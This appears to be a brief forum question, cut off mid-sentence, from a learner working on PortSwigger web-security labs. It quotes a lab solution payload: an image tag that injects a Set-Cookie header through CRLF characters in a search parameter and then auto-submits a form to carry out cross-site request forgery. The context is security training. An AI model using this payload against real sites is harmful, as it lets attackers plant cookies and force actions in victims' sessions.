0

I was doing some challenges in portswigger, when I stumbled accross this xss exploit in a csrf lab solution :
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
here is the part of the html c...